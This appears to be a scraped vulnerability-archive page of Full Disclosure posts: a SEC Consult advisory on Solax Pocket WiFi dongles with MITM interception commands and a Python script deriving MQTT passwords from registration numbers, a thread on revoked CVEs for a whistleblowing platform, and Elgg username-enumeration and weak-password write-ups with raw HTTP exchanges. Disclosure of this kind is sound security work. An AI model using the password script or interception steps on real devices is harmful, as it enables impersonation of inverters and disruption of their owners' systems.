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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260212-0 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Various Solax Power Pocket WiFi models\n\u00a0vulnerable version: See section below\n\u00a0 \u00a0 \u00a0 fixed version: See section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n homepage:https://www.solaxpower.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-15\n by: Stefan Viehb\u00f6ck\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Founded in 2012, SolaX has rapidly risen to become a global leader in\nphotovoltaic energy storage systems and solutions. Leading the way in\nindustry innovation, SolaX introduced Asia\u2019s first energy storage inverter\nand has successfully launched five major product series over the years.\"\n\nSource:https://www.solaxpower.com/about/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customers\u0027 Solax Cloud accounts and using the Pocket\nfirmware upgrade function there. They should be installed immediately if\nthe device is not already patched.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573)\nThe device does not validate the server certificate when connecting to the\nSolaX Cloud MQTTS server hosted in the Alibaba Cloud\n(mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a\nman-in-the-middle position to act as the legitimate MQTT server and issuing\narbitrary commands to devices.\n\nLarge scale man-in-the-middle attacks are feasible for attackers with the\ncapabilities to execute attacks such as BGP hijacking, DNS spoofing or\nintercepting communication at the backbone level (e.g. nation state).\n\nPossible threats are:\n- Disrupting the electric grid by repeatedly starting/stopping inverters.\n- Getting initial access to the victim\u0027s local networks by flashing malicious\n firmware on the dongles.\n- Causing physical damage by flashing malicious firmware on the inverters\n (disabling firmware-based safety checks + introducing malicious behavior like\n overvoltage, frequency mismatches, etc.).\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nWhen connecting to the Solax Cloud MQTT server the username is the\n\"registration number\", which is the 10 character string printed on the device /\nthe QR code on the device. The password is derived from the \"registration\nnumber\" using a proprietary XOR/transposition algorithm.\nAttackers with the knowledge of the registration numbers can connect to the\nMQTT server and impersonate the dongle / inverters.\n\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nThe firmware update functionality does not verify the authenticity of the\nsupplied firmware update files. This allows attackers to flash malicious\nfirmware update files on the device.\n\n\nProof of concept:\n-----------------\n1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573)\nThe following commands can be used to intercept the communication between a device\nand the Solax Cloud.\n\niptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT\niptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT\niptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080\nmitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set \ntls_version_server_min=TLS1_2 -k -v\n\n\n2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574)\nThe following python script implements the password derivation given the\nregistration number:\n\npython ```\nimport re\n\ndef generate_solax_password(registration_number):\n registration_number = bytearray(registration_number.encode())\n password = bytearray(8)\n\n password[0] = registration_number[7]\n password[1] = registration_number[4]\n password[2] = registration_number[3]\n password[3] = registration_number[6]\n password[4] = registration_number[5]\n password[5] = registration_number[2]\n password[6] = registration_number[9]\n password[7] = registration_number[8]\n\n for i in range(len(password)):\n\n xored = password[i] ^ 0xb\n if re.match(r\u0027[A-Z0-9]\u0027, chr(xored)):\n password[i] = xored\n else:\n print(\u0027else case\u0027)\n password[i] = ord(\u0027A\u0027)\n\n return password.decode(\u0027ascii\u0027)\n\nregistration_number = \"SM3XXXXXXX\"\npassword = generate_solax_password(registration_number)\nprint(registration_number,password)\n```\n\n3) Missing Firmware Authenticity Checks (CVE-2025-15575)\nNo proof-of-concept is provided. Initial analysis of the firmware update\nfunctionality does not show any cryptographic checks (e.g. digital signature\nchecks) on the supplied firmware update files.\nFurthermore, ESP32 security features such as secure boot are not used.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested on a Solax Power Pocket WiFi V3:\n* 618.00415.00_Pocket_WIFI_V3.015.02_20240122\n\nIt is likely that other SolaX / QCells products that directly connect to the\nSolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles,\nAdapter Box, EV Charger, etc.\n\nThe vendor provided the following further affected products:\n1. Pocket WiFi 3.0\n2. Pocket WiFi+LAN\n3. Pocket WiFi+4GM\n4. Pocket WiFi+LAN 2.0\n5. Pocket WiFi 4.0\n\n\nVendor contact timeline:\n------------------------\n2025-05-05: Contacting vendor throughservice () solaxpower com; no response.\n2025-05-16: Contacting vendor through multiple other email addresses from their\n website.\n2025-05-20: Asking a direct contact at SolaX Power for a security contact.\n2025-05-27: Vendor security team responds with PGP key.\n2025-05-28: Sending encrypted advisory.\n2025-06-09: Vendor responds with analysis of the issues and that\n a new firmware will be released by the end of July 2025.\n2025-06-12: Asking a few follow-up questions, which other products are affected,\n and whether manual update is necessary or automatically pushed.\n No response.\n2025-07-10: Asking vendor again \u0026 regarding patch availability. No response.\n2026-02-09: Following up again, setting release date to 26th February, reserving\n CVE numbers.\n2026-02-10: Vendor provides detailed model information with updated firmware versions.\n Setting disclosure date to 12th February as everything is fixed\n according to the vendor.\n2026-02-26: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor provides patches for the affected Pocket models which can be\nobtained throw their customer\u0027s Solax Cloud account and using the Pocket\nfirmware upgrade function there.\n\nAs of February 10, 2026, the firmware versions for each affected Pocket model\nare as follows according to the vendor:\n1. Pocket WiFi 3.0 \u2013 (3.022.03)\n2. Pocket WiFi+LAN \u2013 (1.009.02)\n3. Pocket WiFi+4GM \u2013 (1.005.05)\n4. Pocket WiFi+LAN 2.0 \u2013 (006.06)\n5. Pocket WiFi 4.0 \u2013 (003.03)\n\nThe vendor provided the following further information regarding EV Charger\nand Adapter Box:\n1. EV Charger: The WiFi module firmware supports digital signature, but only one-way\n authentication is implemented.\n2. Adapter Box: The WiFi module firmware supports two-way authentication and digital\n signature.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Stefan Viehb\u00f6ck / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0197
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Summary
Hi,
the vulnerabilities are no longer considered eligible for CVE tracking, despite being real, independently discovered,
responsibly disclosed, and acknowledged by the vendor.
CVE IDs *can* be assigned for SaaS or similarly "cloud only" software. For a period of time, there was a restriction
that only the provider could make or request such an assignment. But the current CVE rules remove this restriction:
4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises, artificial intelligence, machine
learning) as the sole basis for determining assignment.
It would have been acceptable (even preferred) to leave CVE-2025-34411 and CVE-2025-34412 published and identify them
as affecting an "exclusively-hosted-service:"
5.1.11.1 (A CVE Record) MUST use the “exclusively-hosted-service” tag when all known Products listed in the CVE Record
exist only as fully hosted services. If the Vulnerability affects both hosted services and on-premises Products, then
this tag MUST NOT be used.
Rules: https://www.cve.org/resourcessupport/allresources/cnarules
Regards,
- Art
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
Relationships
reference
GCVE-1988-2026-0197 (this record)
- related CVE-2025-34411
- related CVE-2025-34412
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GCVE-1988-2026-0195
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Summary
UPDATE:
Following the publication of these vulnerabilities and the subsequent CVE
assignments, the CVE identifiers have now been revoked.
The vendor (EQS Group) contacted the CVE Program (via a CNA) and disputed the
records, stating that the affected product is an exclusively hosted SaaS
platform with no customer-managed deployment or versioning. Based on this
argument, the CVE Program concluded that CVE assignment is “not a suitable
solution for vulnerability identification” in this case, as customers do not
take direct action to apply fixes.
In other words, because the service is centrally hosted and patched at the
provider’s discretion, the vulnerabilities are no longer considered eligible for
CVE tracking, despite being real, independently discovered, responsibly
disclosed, and acknowledged by the vendor.
The vendor has stated that fixes are being implemented and that private customer
notifications will be issued internally.
While remediation is of course welcome, this outcome highlights a broader issue:
vulnerabilities in SaaS platforms can effectively disappear from public
vulnerability tracking, simply because the deployment model removes user agency,
a model that arguably incentivizes security through obscurity, rather than
transparency.
The technical findings remain valid.
This update is shared purely for accuracy and record-keeping.
On Sun, Jan 4, 2026 at 4:40 PM <yuffie.kisaragi () atomicmail io
[yuffie.kisaragi () atomicmail io]> wrote:
UPDATE:
The reported vulnerabilities have now been assigned CVE identifiers:
CVE-2025-34411: https://www.cve.org/cverecord?id=CVE-2025-34411
[https://www.cve.org/cverecord?id=CVE-2025-34411]
CVE-2025-34412: https://www.cve.org/cverecord?id=CVE-2025-34412
[https://www.cve.org/cverecord?id=CVE-2025-34412]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
reference
GCVE-1988-2026-0195 (this record)
- related CVE-2025-34411
- related CVE-2025-34412
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"vulnId": "gcve-1988-2026-0195"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-08T07:57:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0195"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0194
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Username Enumeration - elggv6.3.3
Summary
# Exploit Title: Elgg - Username Enumeration
# Date: 1/2026
# Exploit Author: Andrey Stoykov
# Version: 6.3.3
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html
// HTTP Request - Resetting Password - Valid User
POST /action/user/requestnewpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/forgotpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=admin
// HTTP Response - Resetting Password - Valid User
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:14:43 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 318
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='http://elgg.local/'"; />
<title>Redirecting to http://elgg.local/</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/";>http://elgg.local/</a>.
</body>
</html>
// HTTP Request - Following Redirection - Valid User
GET / HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/user/requestnewpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Following Redirection - Valid User
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:14:46 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 20646
[...]
<div class="elgg-message elgg-message-success"><div class="elgg-inner"><div
class="elgg-body">Successfully requested a new password, email
sent</div></div></div>
[...]
// HTTP Request - Resetting Password - Invalid User
POST /action/user/requestnewpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/forgotpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=2Cpt0GyVW9swhLkm5PggkQ&__elgg_ts=1769264047&username=x
// HTTP Response - Resetting Password - Invalid User
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:15:07 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/forgotpassword
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 374
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='
http://elgg.local/forgotpassword'"; />
<title>Redirecting to http://elgg.local/forgotpassword</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/forgotpassword";>
http://elgg.local/forgotpassword</a>.
</body>
</html>
// HTTP Request - Following Redirection - Invalid User
GET /forgotpassword HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/user/requestnewpassword
Cookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Following Redirection - Invalid User
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:15:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 19681
[...]
<div class="elgg-message elgg-message-error"><div class="elgg-inner"><div
class="elgg-body">Username x not found.</div></div></div>
[...]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Username Enumeration - |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Username Enumeration -",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrey Stoykov"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Exploit Title: Elgg - Username Enumeration\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html\n\n// HTTP Request - Resetting Password - Valid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 71\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=admin\n\n// HTTP Response - Resetting Password - Valid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:14:43 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 318\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027http://elgg.local/\u0027\"; /\u003e\n\n \u003ctitle\u003eRedirecting to http://elgg.local/\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n Redirecting to \u003ca href=\"http://elgg.local/\";\u003ehttp://elgg.local/\u003c/a\u003e.\n \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Valid User\n\nGET / HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Valid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:14:46 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 20646\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eSuccessfully requested a new password, email\nsent\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n\n// HTTP Request - Resetting Password - Invalid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=x\n\n\n// HTTP Response - Resetting Password - Invalid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:15:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/forgotpassword\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 374\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/forgotpassword\u0027\"; /\u003e\n\n \u003ctitle\u003eRedirecting to http://elgg.local/forgotpassword\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n Redirecting to \u003ca href=\"http://elgg.local/forgotpassword\";\u003e\nhttp://elgg.local/forgotpassword\u003c/a\u003e.\n \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Invalid User\n\nGET /forgotpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Invalid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:15:09 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 19681\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-error\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eUsername x not found.\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/30"
},
{
"url": "http://elgg.local"
},
{
"url": "http://elgg.local/"
},
{
"url": "http://elgg.local/\""
},
{
"url": "http://elgg.local/\u0027\""
},
{
"url": "http://elgg.local/action/user/requestnewpassword"
},
{
"url": "http://elgg.local/forgotpassword"
},
{
"url": "http://elgg.local/forgotpassword\""
},
{
"url": "http://elgg.local/forgotpassword\u0027\""
},
{
"url": "https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/30"
],
"discovery": "EXTERNAL"
},
"title": "Username Enumeration - elggv6.3.3",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0194",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30",
"automated": true,
"contentSha256": "117ea4f7bc3e4cf6e724145aae4a21a9e1546f57275af082c1192b9de57223cb",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/30",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-24T18:04:50Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-08T07:57:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0194"
},
"dataType": "CVE_RECORD",
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}
GCVE-1988-2026-0193
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Weak Password Complexity - elggv6.3.3
Summary
# Exploit Title: Elgg - Lack of Password Complexity
# Date: 1/2026
# Exploit Author: Andrey Stoykov
# Version: 6.3.3
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-48-weak.html
// HTTP Request - Changing Password
POST /action/usersettings/save HTTP/1.1
Host: elgg.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/settings/user/admin
Cookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc
Upgrade-Insecure-Requests: 1
Priority: u=0, i
__elgg_token=nIY_M_wh53bUxoHvuKO1YA&__elgg_ts=1769266299&username=admin&name=Admin+User&email_password=&email=
admin () example com
¤t_password=[REDACTED]&password=Passw0rd%21&password2=Passw0rd%21&language=en&guid=46
// HTTP Response - Changing Password
HTTP/1.1 302 Found
Date: Sat, 24 Jan 2026 14:52:07 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://elgg.local/settings/user/admin
Vary: User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 394
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='
http://elgg.local/settings/user/admin'"; />
<title>Redirecting to http://elgg.local/settings/user/admin</title>
</head>
<body>
Redirecting to <a href="http://elgg.local/settings/user/admin";>
http://elgg.local/settings/user/admin</a>.
</body>
</html>
// HTTP Request - Changing Password - Following Redirect
GET /settings/user/admin HTTP/1.1
Host: elgg.local
